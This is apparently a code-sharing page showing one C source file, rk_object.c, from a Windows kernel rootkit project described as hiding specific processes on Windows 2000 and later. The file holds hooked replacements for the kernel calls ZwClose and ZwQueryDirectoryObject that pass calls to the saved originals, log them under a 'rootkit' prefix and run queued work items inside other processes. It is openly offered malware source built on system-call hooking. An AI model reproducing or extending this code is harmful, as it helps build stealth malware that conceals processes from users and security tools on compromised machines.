rk_object.c

来自「能够在windows 2000以上操作系统下隐藏特定的进程」· C语言 代码 · 共 80 行

C
80
字号

#include "rk_driver.h"
#include "rk_object.h"
#include "rk_defense.h"
#include "rk_exec.h"
#include "rk_utility.h"

/* NT object manager */

/* ______________________________________________________________________________
 . Perhaps the most frequently called function under NT. ;-)
 . ______________________________________________________________________________ */
NTSTATUS NewZwClose(
	HANDLE Handle
)
{
        int rc;
		CHAR aProcessName[PROCNAMELEN];

		DequeuAndRun_RunInProcessContext_WorkItem();	
		
		
		GetProcessName( aProcessName );
		DbgPrint("rootkit: NewZwClose() from %s\n", aProcessName);

        rc=((ZWCLOSE)(OldZwClose)) (
			Handle
			);
		DbgPrint("rootkit: ZwClose : rc = %x\n", rc);

#if 1		
		if(rc == STATUS_SUCCESS)
		{
			__try
			{
				FreeTrackHandle( Handle );
			}
			__except(EXCEPTION_EXECUTE_HANDLER)
			{
				DbgPrint("rootkit: exception while freeing handle tracker\n");
			}
		}
#endif

		return rc;
}

/* ______________________________________________________________________________
 . 
 . ______________________________________________________________________________ */
NTSTATUS NewZwQueryDirectoryObject(
	HANDLE hDirectory,
	PQUERYDIRECTORYOBJECTBUFFER DirectoryEntryBuffer,
	ULONG DirectoryEntryBufferSize,
	BOOLEAN  bOnlyFirstEntry,
	BOOLEAN bFirstEntry,
	PULONG  BytesReturned,
	PULONG  EntryIndex
)
{
        int rc;
		CHAR aProcessName[PROCNAMELEN];
		
		GetProcessName( aProcessName );
		DbgPrint("rootkit: NewZwQueryDirectoryObject() from %s\n", aProcessName);

        rc=((ZWQUERYDIRECTORYOBJECT)(OldZwQueryDirectoryObject)) (
			hDirectory,
			DirectoryEntryBuffer,
			DirectoryEntryBufferSize,
			bOnlyFirstEntry,
			bFirstEntry,
			BytesReturned,
			EntryIndex );
		DbgPrint("rootkit: ZwQueryDirectoryObject : rc = %x\n", rc);
        return rc;
}


⌨️ 快捷键说明

复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?